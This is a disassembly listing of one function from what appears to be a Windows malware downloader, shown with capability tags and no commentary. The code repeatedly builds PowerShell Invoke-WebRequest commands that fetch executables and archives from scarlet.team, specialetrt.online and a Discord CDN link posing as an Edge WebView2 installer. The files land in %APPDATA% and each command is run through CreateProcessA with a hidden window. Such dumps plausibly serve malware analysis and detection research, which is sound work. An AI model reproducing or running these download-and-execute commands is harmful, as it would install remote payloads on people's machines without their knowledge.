Function at 0x1400051d0
Capabilities:
Create process on windows
Create process suspended
Terminate process

Disassembly:
push rbp
push rbx
push rdi
lea rbp, [rsp - 0x200]
sub rsp, 0x300
mov rax, qword [0x14004a040]
xor rax, rsp
mov qword [rbp + 0x1e0], rax
xor ebx, ebx
lea rdx, [rbp + 0xd0]
mov r8d, 0x104
mov dword [rsp + 0x70], ebx
xor ecx, ecx
mov edi, ebx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xorps xmm0, xmm0
lea r8d, [rbx + 0xe]
xorps xmm1, xmm1
lea rdx, str.Runtimebroker_
lea rcx, [rbp - 0x68]
movups xmmword [rbp - 0x68], xmm0
movdqu xmmword [rbp - 0x58], xmm1
call fcn.140003a20
xorps xmm0, xmm0
lea rax, [rbp + 0xd0]
xorps xmm1, xmm1
mov r8, 0xffffffffffffffff
movups xmmword [rsp + 0x78], xmm0
movdqu xmmword [rbp - 0x78], xmm1
inc r8
cmp byte [rax + r8], bl
jne 0x140005252
lea rdx, [rbp + 0xd0]
lea rcx, [rsp + 0x78]
call fcn.140003280
call fcn.140002db0
xorps xmm0, xmm0
mov qword [rbp + 0x60], rbx
mov r8d, 0xf
mov qword [rbp + 0x68], rbx
lea rdx, str.AZcloud_dbg.exe
lea rcx, [rbp + 0x50]
movups xmmword [rbp + 0x50], xmm0
call fcn.140003a20
lea rdx, [0x14004d420]
lea rcx, [rbp + 0xb0]
call fcn.140007470
cmp qword [rbp + 0x68], 7
lea rdx, [rbp + 0x50]
mov r8, qword [rbp + 0x60]
lea rcx, [rbp - 0x68]
cmova rdx, qword [rbp + 0x50]
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [rbp - 0x68], xmm0
movdqu xmmword [rbp - 0x58], xmm1
call fcn.140003a20
lea rdx, [rbp - 0x68]
lea rcx, [rbp + 0xb0]
call fcn.140003db0
mov rdx, qword [rbp - 0x50]
cmp rdx, 7
jbe 0x140005325
mov rcx, qword [rbp - 0x68]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005320
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005320
call fcn.14001c680
int3
call fcn.1400131c0
mov qword [rsp + 0x320], rsi
lea rdx, [0x1400431f8]
mov qword [rsp + 0x328], r12
lea rcx, [rsp + 0x78]
mov qword [rsp + 0x330], r13
xorps xmm0, xmm0
mov qword [rsp + 0x2f8], r14
mov r8d, 1
mov qword [rsp + 0x2f0], r15
movups xmmword [rsp + 0x78], xmm0
mov qword [rbp - 0x78], rbx
mov qword [rbp - 0x70], rbx
call fcn.140003a20
xorps xmm0, xmm0
mov qword [rsp + 0x60], rbx
mov r8d, 1
mov qword [rsp + 0x68], rbx
lea rdx, [0x1400431fc]
lea rcx, [rsp + 0x50]
movups xmmword [rsp + 0x50], xmm0
call fcn.140003a20
lea rdx, [rbp + 0xb0]
lea rcx, [rbp - 0x68]
call fcn.140007470
lea rdx, [rbp - 0x68]
lea rcx, [rbp + 0x30]
call fcn.140007470
mov r13, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x60]
mov r12, qword [rsp + 0x50]
mov r15, qword [rbp - 0x78]
nop dword [rax]
mov rax, qword [rbp + 0x40]
lea r10, [rsp + 0x50]
cmp r13, 7
lea r11, [rbp + 0x30]
cmova r10, r12
cmp qword [rbp + 0x48], 7
cmova r11, qword [rbp + 0x30]
cmp rsi, rax
ja 0x1400054bc
sub rax, rsi
cmp rbx, rax
ja 0x1400054bc
test rsi, rsi
je 0x14000547d
movzx r9d, word [r10]
lea r14, [rax + 1]
lea r14, [r11 + r14*2]
lea rbx, [r11 + rbx*2]
nop dword [rax]
mov rax, r14
mov rcx, rdi
sub rax, rbx
sar rax, 1
je 0x14000544a
cmp word [rbx], r9w
je 0x140005447
cmp rax, 1
je 0x14000544a
add rbx, 2
dec rax
cmp word [rbx], r9w
jne 0x140005434
mov rcx, rbx
mov rbx, rcx
test rcx, rcx
je 0x1400054bc
mov rdx, rsi
mov rcx, r10
test rsi, rsi
je 0x140005477
mov r8, rbx
sub r8, r10
movzx eax, word [rcx + r8]
cmp ax, word [rcx]
jne 0x1400054b3
add rcx, 2
sub rdx, 1
jne 0x140005463
sub rbx, r11
sar rbx, 1
cmp rbx, 0xffffffffffffffff
je 0x1400054bc
cmp qword [rbp - 0x70], 7
lea r9, [rsp + 0x78]
mov r8, rsi
mov qword [rsp + 0x20], r15
cmova r9, qword [rsp + 0x78]
lea rcx, [rbp + 0x30]
mov rdx, rbx
call fcn.1400094d0
mov r15, qword [rbp - 0x78]
add rbx, r15
jmp 0x1400053d0
add rbx, 2
jmp 0x140005420
mov rdx, qword [rbp - 0x50]
cmp rdx, 7
jbe 0x1400054fc
mov rcx, qword [rbp - 0x68]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400054f7
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006c8d
call fcn.1400131c0
cmp r13, 7
jbe 0x140005538
lea rdx, [r13*2 + 2]
mov rax, r12
cmp rdx, 0x1000
jb 0x140005530
mov r12, qword [r12 - 8]
add rdx, 0x27
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006c8d
mov rcx, r12
call fcn.1400131c0
mov rdx, qword [rbp - 0x70]
cmp rdx, 7
jbe 0x140005579
mov rcx, qword [rsp + 0x78]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005574
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006c8d
call fcn.1400131c0
cmp qword [rbp + 0x48], 7
lea r8, [rbp + 0x30]
mov ecx, 0xfde9
cmova r8, qword [rbp + 0x30]
xor r12d, r12d
mov qword [rsp + 0x38], r12
xor edx, edx
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
lea r9d, [r12 - 1]
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd rbx, eax
xor r8d, r8d
mov rdx, rbx
lea rcx, [rbp - 0x68]
call fcn.140007600
cmp qword [rbp - 0x50], 0xf
lea rdx, [rbp - 0x68]
mov qword [rsp + 0x38], r12
lea r8, [rbp + 0x30]
cmova rdx, qword [rbp - 0x68]
lea r9d, [r12 - 1]
cmp qword [rbp + 0x48], 7
mov ecx, 0xfde9
mov qword [rsp + 0x30], r12
cmova r8, qword [rbp + 0x30]
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rdx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov rdx, qword [rbp - 0x50]
cmp rdx, 0xf
jbe 0x140005640
mov rcx, qword [rbp - 0x68]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000563b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000563b
call fcn.14001c680
int3
call fcn.1400131c0
xorps xmm0, xmm0
mov qword [rbp + 0x80], r12
mov r8d, 1
mov qword [rbp + 0x88], r12
lea rdx, [0x140043200]
lea rcx, [rbp + 0x70]
movups xmmword [rbp + 0x70], xmm0
call fcn.140003280
xorps xmm0, xmm0
lea rdx, str.http:__specialetrt.online_public_stub_AZcloud_dbg.exe
xorps xmm1, xmm1
lea rcx, [rbp + 0x90]
mov r8d, 0x35
movdqa xmmword [rbp + 0xa0], xmm1
movups xmmword [rbp + 0x90], xmm0
call fcn.140003280
xorps xmm0, xmm0
lea rdx, str.powershell.exe__Command__Invoke_WebRequest__Uri_https:__cdn.discordapp.com_attachments_1183540059962617907_1194430038716727307_MicrosoftEdgeWebview2Setup.exe__OutFile__env:APPDATAMicrosoftEdgeWebview2Setup.exe_
xorps xmm1, xmm1
lea rcx, [rbp - 0x68]
mov r8d, 0xd5
movups xmmword [rbp - 0x68], xmm0
movdqu xmmword [rbp - 0x58], xmm1
call fcn.140003280
xorps xmm0, xmm0
lea rdx, [rbp - 0x68]
xor eax, eax
cmp qword [rbp - 0x50], 0xf
mov qword [rbp + 0x20], rax
cmova rdx, qword [rbp - 0x68]
xor r9d, r9d
mov qword [rbp - 0x78], rax
xor r8d, r8d
lea rax, [rsp + 0x78]
xor ecx, ecx
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
movups xmmword [rbp - 0x40], xmm0
mov dword [rsp + 0x28], 0x8000000
movups xmmword [rbp - 0x10], xmm0
mov dword [rsp + 0x20], r12d
movups xmmword [rbp], xmm0
mov dword [rbp - 0x40], 0x68
movups xmmword [rbp - 0x30], xmm0
mov dword [rbp - 4], 1
movups xmmword [rbp - 0x20], xmm0
mov word [rbp], r12w
movups xmmword [rbp + 0x10], xmm0
movups xmmword [rsp + 0x78], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x14000577f
mov rcx, qword [rsp + 0x78]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str.good.
lea rcx, [0x14004b830]
call fcn.14000aa40
jmp 0x1400057a5
lea rdx, str.Error:
lea rcx, [0x14004ba80]
call fcn.14000aa40
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call fcn.140007000
mov rcx, rax
call fcn.14000ad00
mov rdx, qword [rbp - 0x50]
cmp rdx, 0xf
jbe 0x1400057ea
mov rcx, qword [rbp - 0x68]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400057e5
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400057e5
call fcn.14001c680
int3
call fcn.1400131c0
call fcn.140004730
xorps xmm0, xmm0
lea rdx, str.powershell.exe__Command__Invoke_WebRequest__Uri_http:__scarlet.team_public_stub_vc125.exe__OutFile__env:APPDATA_vc125.exe_
xorps xmm1, xmm1
lea rcx, [rbp - 0x68]
mov r8d, 0x7c
movups xmmword [rbp - 0x68], xmm0
movdqu xmmword [rbp - 0x58], xmm1
call fcn.140003280
xorps xmm0, xmm0
lea rdx, [rbp - 0x68]
xor eax, eax
cmp qword [rbp - 0x50], 0xf
mov qword [rbp + 0x20], rax
cmova rdx, qword [rbp - 0x68]
xor r9d, r9d
mov qword [rbp - 0x78], rax
xor r8d, r8d
lea rax, [rsp + 0x78]
xor ecx, ecx
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
movups xmmword [rbp - 0x40], xmm0
mov dword [rsp + 0x28], 0x8000000
movups xmmword [rbp - 0x10], xmm0
mov dword [rsp + 0x20], r12d
movups xmmword [rbp], xmm0
mov dword [rbp - 0x40], 0x68
movups xmmword [rbp - 0x30], xmm0
mov dword [rbp - 4], 1
movups xmmword [rbp - 0x20], xmm0
mov word [rbp], r12w
movups xmmword [rbp + 0x10], xmm0
movups xmmword [rsp + 0x78], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1400058d5
mov rcx, qword [rsp + 0x78]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str.good.
lea rcx, [0x14004b830]
call fcn.14000aa40
jmp 0x1400058fb
lea rdx, str.Error:
lea rcx, [0x14004ba80]
call fcn.14000aa40
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call fcn.140007000
mov rcx, rax
call fcn.14000ad00
mov rdx, qword [rbp - 0x50]
cmp rdx, 0xf
jbe 0x140005940
mov rcx, qword [rbp - 0x68]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000593b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000593b
call fcn.14001c680
int3
call fcn.1400131c0
call fcn.140004470
xorps xmm0, xmm0
lea rdx, str.powershell.exe__Command__Invoke_WebRequest__Uri_http:__scarlet.team_public_stub_unzip.exe__OutFile__env:APPDATAunzip.exe_
xorps xmm1, xmm1
lea rcx, [rbp - 0x68]
mov r8d, 0x7c
movups xmmword [rbp - 0x68], xmm0
movdqu xmmword [rbp - 0x58], xmm1
call fcn.140003280
xorps xmm0, xmm0
lea rdx, [rbp - 0x68]
xor eax, eax
cmp qword [rbp - 0x50], 0xf
mov qword [rbp + 0x20], rax
cmova rdx, qword [rbp - 0x68]
xor r9d, r9d
mov qword [rbp - 0x78], rax
xor r8d, r8d
lea rax, [rsp + 0x78]
xor ecx, ecx
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
movups xmmword [rbp - 0x40], xmm0
mov dword [rsp + 0x28], 0x8000000
movups xmmword [rbp - 0x10], xmm0
mov dword [rsp + 0x20], r12d
movups xmmword [rbp], xmm0
mov dword [rbp - 0x40], 0x68
movups xmmword [rbp - 0x30], xmm0
mov dword [rbp - 4], 1
movups xmmword [rbp - 0x20], xmm0
mov word [rbp], r12w
movups xmmword [rbp + 0x10], xmm0
movups xmmword [rsp + 0x78], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140005a2b
mov rcx, qword [rsp + 0x78]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str.good.
lea rcx, [0x14004b830]
call fcn.14000aa40
jmp 0x140005a51
lea rdx, str.Error:
lea rcx, [0x14004ba80]
call fcn.14000aa40
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call fcn.140007000
mov rcx, rax
call fcn.14000ad00
mov rdx, qword [rbp - 0x50]
cmp rdx, 0xf
jbe 0x140005a96
mov rcx, qword [rbp - 0x68]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005a91
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005a91
call fcn.14001c680
int3
call fcn.1400131c0
xorps xmm0, xmm0
lea rdx, str.powershell.exe__Command__Invoke_WebRequest__Uri_http:__scarlet.team_public_stub_AZcloud_dbg.zip__OutFile__env:APPDATAAZcloud_dbg.zip_
xorps xmm1, xmm1
lea rcx, [rbp - 0x68]
mov r8d, 0x88
movups xmmword [rbp - 0x68], xmm0
movdqu xmmword [rbp - 0x58], xmm1
call fcn.140003280
xorps xmm0, xmm0
lea rdx, [rbp - 0x68]
xor eax, eax
cmp qword [rbp - 0x50], 0xf
mov qword [rbp + 0x20], rax
cmova rdx, qword [rbp - 0x68]
xor r9d, r9d
mov qword [rbp - 0x78], rax
xor r8d, r8d
lea rax, [rsp + 0x78]
xor ecx, ecx
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
movups xmmword [rbp - 0x40], xmm0
mov dword [rsp + 0x28], 0x8000000
movups xmmword [rbp - 0x10], xmm0
mov dword [rsp + 0x20], r12d
movups xmmword [rbp], xmm0
mov dword [rbp - 0x40], 0x68
movups xmmword [rbp - 0x30], xmm0
mov dword [rbp - 4], 1
movups xmmword [rbp - 0x20], xmm0
mov word [rbp], r12w
movups xmmword [rbp + 0x10], xmm0
movups xmmword [rsp + 0x78], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140005b7c
mov rcx, qword [rsp + 0x78]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str.good.
lea rcx, [0x14004b830]
call fcn.14000aa40
jmp 0x140005ba2
lea rdx, str.Error:
lea rcx, [0x14004ba80]
call fcn.14000aa40
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call fcn.140007000
mov rcx, rax
call fcn.14000ad00
mov rdx, qword [rbp - 0x50]
cmp rdx, 0xf
jbe 0x140005be7
mov rcx, qword [rbp - 0x68]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005be2
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005be2
call fcn.14001c680
int3
call fcn.1400131c0
xorps xmm0, xmm0
lea rdx, str.powershell.exe__Command__Invoke_WebRequest__Uri_http:__scarlet.team_public_stub_ext.zip__OutFile__env:APPDATAext.zip_
xorps xmm1, xmm1
lea rcx, [rbp - 0x68]
mov r8d, 0x78
movups xmmword [rbp - 0x68], xmm0
movdqu xmmword [rbp - 0x58], xmm1
call fcn.140003280
xorps xmm0, xmm0
lea rdx, [rbp - 0x68]
xor eax, eax
cmp qword [rbp - 0x50], 0xf
mov qword [rbp + 0x20], rax
cmova rdx, qword [rbp - 0x68]
xor r9d, r9d
mov qword [rbp - 0x78], rax
xor r8d, r8d
lea rax, [rsp + 0x78]
xor ecx, ecx
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
movups xmmword [rbp - 0x40], xmm0
mov dword [rsp + 0x28], 0x8000000
movups xmmword [rbp - 0x10], xmm0
mov dword [rsp + 0x20], r12d
movups xmmword [rbp], xmm0
mov dword [rbp - 0x40], 0x68
movups xmmword [rbp - 0x30], xmm0
mov dword [rbp - 4], 1
movups xmmword [rbp - 0x20], xmm0
mov word [rbp], r12w
movups xmmword [rbp + 0x10], xmm0
movups xmmword [rsp + 0x78], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140005ccd
mov rcx, qword [rsp + 0x78]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str.good.
lea rcx, [0x14004b830]
call fcn.14000aa40
jmp 0x140005cf3
lea rdx, str.Error:
lea rcx, [0x14004ba80]
call fcn.14000aa40
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call fcn.140007000
mov rcx, rax
call fcn.14000ad00
mov rdx, qword [rbp - 0x50]
cmp rdx, 0xf
jbe 0x140005d38
mov rcx, qword [rbp - 0x68]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005d33
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005d33
call fcn.14001c680
int3
call fcn.1400131c0
xorps xmm0, xmm0
lea rdx, str.powershell.exe__Command__Invoke_WebRequest__Uri_http:__scarlet.team_public_stub_ext2.zip__OutFile__env:APPDATAext2.zip_
xorps xmm1, xmm1
lea rcx, [rbp - 0x68]
mov r8d, 0x7a
movups xmmword [rbp - 0x68], xmm0
movdqu xmmword [rbp - 0x58], xmm1
call fcn.140003280
xorps xmm0, xmm0
lea rdx, [rbp - 0x68]
xor eax, eax
cmp qword [rbp - 0x50], 0xf
mov qword [rbp + 0x20], rax
cmova rdx, qword [rbp - 0x68]
xor r9d, r9d
mov qword [rbp - 0x78], rax
xor r8d, r8d
lea rax, [rsp + 0x78]
xor ecx, ecx
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
movups xmmword [rbp - 0x40], xmm0
mov dword [rsp + 0x28], 0x8000000
movups xmmword [rbp - 0x10], xmm0
mov dword [rsp + 0x20], r12d
movups xmmword [rbp], xmm0
mov dword [rbp - 0x40], 0x68
movups xmmword [rbp - 0x30], xmm0
mov dword [rbp - 4], 1
movups xmmword [rbp - 0x20], xmm0
mov word [rbp], r12w
movups xmmword [rbp + 0x10], xmm0
movups xmmword [rsp + 0x78], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140005e1e
mov rcx, qword [rsp + 0x78]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str.good.
lea rcx, [0x14004b830]
call fcn.14000aa40
jmp 0x140005e44
lea rdx, str.Error:
lea rcx, [0x14004ba80]
call fcn.14000aa40
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call fcn.140007000
mov rcx, rax
call fcn.14000ad00
mov rdx, qword [rbp - 0x50]
cmp rdx, 0xf
jbe 0x140005e89
mov rcx, qword [rbp - 0x68]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005e84
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005e84
call fcn.14001c680
int3
call fcn.1400131c0
xorps xmm0, xmm0
lea rdx, str.powershell.exe__Command__Invoke_WebRequest__Uri_http:__scarlet.team_public_stub_ext3.zip__OutFile__env:APPDATAext3.zip_
xorps xmm1, xmm1
lea rcx, [rbp - 0x68]
mov r8d, 0x7a
movups xmmword [rbp - 0x68], xmm0
movdqu xmmword [rbp - 0x58], xmm1
call fcn.140003280
xorps xmm0, xmm0
lea rdx, [rbp - 0x68]
xor eax, eax
cmp qword [rbp - 0x50], 0xf
mov qword [rbp + 0x20], rax
cmova rdx, qword [rbp - 0x68]
xor r9d, r9d
mov qword [rbp - 0x78], rax
xor r8d, r8d
lea rax, [rsp + 0x78]
xor ecx, ecx
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
movups xmmword [rbp - 0x40], xmm0
mov dword [rsp + 0x28], 0x8000000
movups xmmword [rbp - 0x10], xmm0
mov dword [rsp + 0x20], r12d
movups xmmword [rbp], xmm0
mov dword [rbp - 0x40], 0x68
movups xmmword [rbp - 0x30], xmm0
mov dword [rbp - 4], 1
movups xmmword [rbp - 0x20], xmm0
mov word [rbp], r12w
movups xmmword [rbp + 0x10], xmm0
movups xmmword [rsp + 0x78], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140005f6f
mov rcx, qword [rsp + 0x78]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str.good.
lea rcx, [0x14004b830]
call fcn.14000aa40
jmp 0x140005f95
lea rdx, str.Error:
lea rcx, [0x14004ba80]
call fcn.14000aa40
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call fcn.140007000
mov rcx, rax
call fcn.14000ad00
mov rdx, qword [rbp - 0x50]
cmp rdx, 0xf
jbe 0x140005fda
mov rcx, qword [rbp - 0x68]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005fd5
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005fd5
call fcn.14001c680
int3
call fcn.1400131c0
xorps xmm0, xmm0
lea rdx, str.powershell.exe__Command__Invoke_WebRequest__Uri_http:__scarlet.team_public_stub_ext4.zip__OutFile__env:APPDATAext4.zip_
xorps xmm1, xmm1
lea rcx, [rbp - 0x68]
mov r8d, 0x7a
movups xmmword [rbp - 0x68], xmm0
movdqu xmmword [rbp - 0x58], xmm1
call fcn.140003280
xorps xmm0, xmm0
lea rdx, [rbp - 0x68]
xor eax, eax
cmp qword [rbp - 0x50], 0xf
mov qword [rbp + 0x20], rax
cmova rdx, qword [rbp - 0x68]
xor r9d, r9d
mov qword [rbp - 0x78], rax
xor r8d, r8d
lea rax, [rsp + 0x78]
xor ecx, ecx
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
movups xmmword [rbp - 0x40], xmm0
mov dword [rsp + 0x28], 0x8000000
movups xmmword [rbp - 0x10], xmm0
mov dword [rsp + 0x20], r12d
movups xmmword [rbp], xmm0
mov dword [rbp - 0x40], 0x68
movups xmmword [rbp - 0x30], xmm0
mov dword [rbp - 4], 1
movups xmmword [rbp - 0x20], xmm0
mov word [rbp], r12w
movups xmmword [rbp + 0x10], xmm0
movups xmmword [rsp + 0x78], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1400060c0
mov rcx, qword [rsp + 0x78]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str.good.
lea rcx, [0x14004b830]
call fcn.14000aa40
jmp 0x1400060e6
lea rdx, str.Error:
lea rcx, [0x14004ba80]
call fcn.14000aa40
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call fcn.140007000
mov rcx, rax
call fcn.14000ad00
mov rdx, qword [rbp - 0x50]
cmp rdx, 0xf
jbe 0x14000612b
mov rcx, qword [rbp - 0x68]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006126
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006126
call fcn.14001c680
int3
call fcn.1400131c0
call fcn.140004990
xorps xmm0, xmm0
lea rdx, str.powershell.exe__Command__Invoke_WebRequest__Uri_http:__scarlet.team_public_stub_meta.exe__OutFile__env:APPDATAmeta.exe_
xorps xmm1, xmm1
lea rcx, [rbp - 0x68]
mov r8d, 0x7a
movups xmmword [rbp - 0x68], xmm0
movdqu xmmword [rbp - 0x58], xmm1
call fcn.140003280
xorps xmm0, xmm0
lea rdx, [rbp - 0x68]
xor eax, eax
cmp qword [rbp - 0x50], 0xf
mov qword [rbp + 0x20], rax
cmova rdx, qword [rbp - 0x68]
xor r9d, r9d
mov qword [rbp - 0x78], rax
xor r8d, r8d
lea rax, [rsp + 0x78]
xor ecx, ecx
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
movups xmmword [rbp - 0x40], xmm0
mov dword [rsp + 0x28], 0x8000000
movups xmmword [rbp - 0x10], xmm0
mov dword [rsp + 0x20], r12d
movups xmmword [rbp], xmm0
mov dword [rbp - 0x40], 0x68
movups xmmword [rbp - 0x30], xmm0
mov dword [rbp - 4], 1
movups xmmword [rbp - 0x20], xmm0
mov word [rbp], r12w
movups xmmword [rbp + 0x10], xmm0
movups xmmword [rsp + 0x78], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140006216
mov rcx, qword [rsp + 0x78]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str.good.
lea rcx, [0x14004b830]
call fcn.14000aa40
jmp 0x14000623c
lea rdx, str.Error:
lea rcx, [0x14004ba80]
call fcn.14000aa40
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call fcn.140007000
mov rcx, rax
call fcn.14000ad00
mov rdx, qword [rbp - 0x50]
cmp rdx, 0xf
jbe 0x140006281
mov rcx, qword [rbp - 0x68]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000627c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000627c
call fcn.14001c680
int3
